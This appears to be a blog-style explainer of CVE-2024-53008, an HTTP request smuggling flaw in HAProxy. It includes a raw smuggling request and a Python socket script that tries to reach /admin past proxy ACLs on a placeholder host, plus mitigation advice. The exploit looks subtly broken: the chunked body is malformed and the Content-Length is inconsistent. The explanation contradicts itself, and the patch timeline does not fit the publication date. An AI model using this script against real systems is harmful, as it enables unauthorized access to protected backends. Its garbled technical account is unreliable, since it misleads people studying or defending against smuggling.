A new vulnerability, CVE-2024-53008, was recently discovered in HAProxy, a popular open-source software widely used for high-performance TCP/HTTP load balancing. The flaw is classified as an HTTP request/response smuggling issue. If exploited, it can allow a remote attacker to bypass Access Control Lists (ACLs), access restricted paths, and potentially extract sensitive information from protected backend resources.

This long read will break down what CVE-2024-53008 is, how it works, show a practical code snippet of the exploit, and point you to the most important references for further reading.

What is HTTP Request Smuggling?

HTTP request smuggling is a type of attack where a bad actor tricks a web server and a proxy (like HAProxy) into interpreting the boundary between HTTP requests differently. This mismatch allows the attacker to force the system to forward malicious or unexpected HTTP requests to the backend, sometimes bypassing security controls such as ACLs.

In short, request smuggling can let hackers sneak requests past security checks, often leading to unauthorized access of data or functions.

How CVE-2024-53008 Affects HAProxy

The crux of CVE-2024-53008 is inconsistent interpretation of HTTP requests between HAProxy and its backend. When an attacker crafts a specially formatted HTTP request, HAProxy and the backend server may not agree on where one request ends and another begins. In some setups, ACLs are enforced by HAProxy at the proxy layer, but if the proxy gets tricked, it can forward unauthorized requests to the backend server that were supposed to be blocked.

Real-World Impact:

HAProxy is in front of a backend server (for instance, Apache or Nginx or a REST API).

- There is an ACL rule blocking access to /admin or /private, but allowing /public.

Vulnerable Request

The vulnerability is triggered when the attacker sends a request that confuses HAProxy, usually by exploiting differences in how Content-Length and Transfer-Encoding headers are handled.

Here’s an example exploit using HTTP pipelining and conflicting headers

POST /public HTTP/1.1
Host: vulnerable.site
Content-Length: 33
Transfer-Encoding: chunked



GET /admin HTTP/1.1
X-Ignore: X

Explanation

- Content-Length and Transfer-Encoding: chunked are both present. Per the HTTP standard, this is ambiguous.
- HAProxy thinks the body ends at \r\n\r\n (the end of the chunked body), and treats the next GET /admin... as a new request, which it might correctly filter via ACLs.
- The backend server, depending on configuration, may instead treat GET /admin... as part of the current (first) request’s body or as a new request forwarded by the proxy, leading to an authentication bypass.

Here’s a quick Python script to demonstrate the attack

import socket

host = 'vulnerable.site'
port = 80

http_smuggle = (
    "POST /public HTTP/1.1\r\n"
    "Host: {host}\r\n"
    "Content-Length: 33\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "\r\n"
    "\r\n"
    "GET /admin HTTP/1.1\r\n"
    "Host: {host}\r\n"
    "\r\n"
).format(host=host)

with socket.create_connection((host, port)) as sock:
    sock.sendall(http_smuggle.encode())
    resp = sock.recv(4096)
    print(resp.decode())

> ⚠️ Never run attack scripts against systems you do not own or have explicit permission to test.

References

- HAProxy Announcement (mailing list)
- NIST NVD Entry on CVE-2024-53008
- PortSwigger Web Security Academy: HTTP Request Smuggling
- OWASP HTTP Request Smuggling

Mitigation and Fix

HAProxy users should upgrade to the latest version from HAProxy’s website, which contains a patch as of late June 2024. In addition:

- Remove ambiguous HTTP headers (Transfer-Encoding, Content-Length) at the proxy when serving backends that parse requests differently.

Conclusion

CVE-2024-53008 proves that even trusted infrastructure components like HAProxy are not immune from complex protocol bugs. With HTTP request smuggling, attackers can slip malicious requests through the cracks, bypassing ACLs and grabbing sensitive data.

If you run HAProxy, patch fast and check your configurations!

Timeline

Published on: 11/28/2024 03:15:16 UTC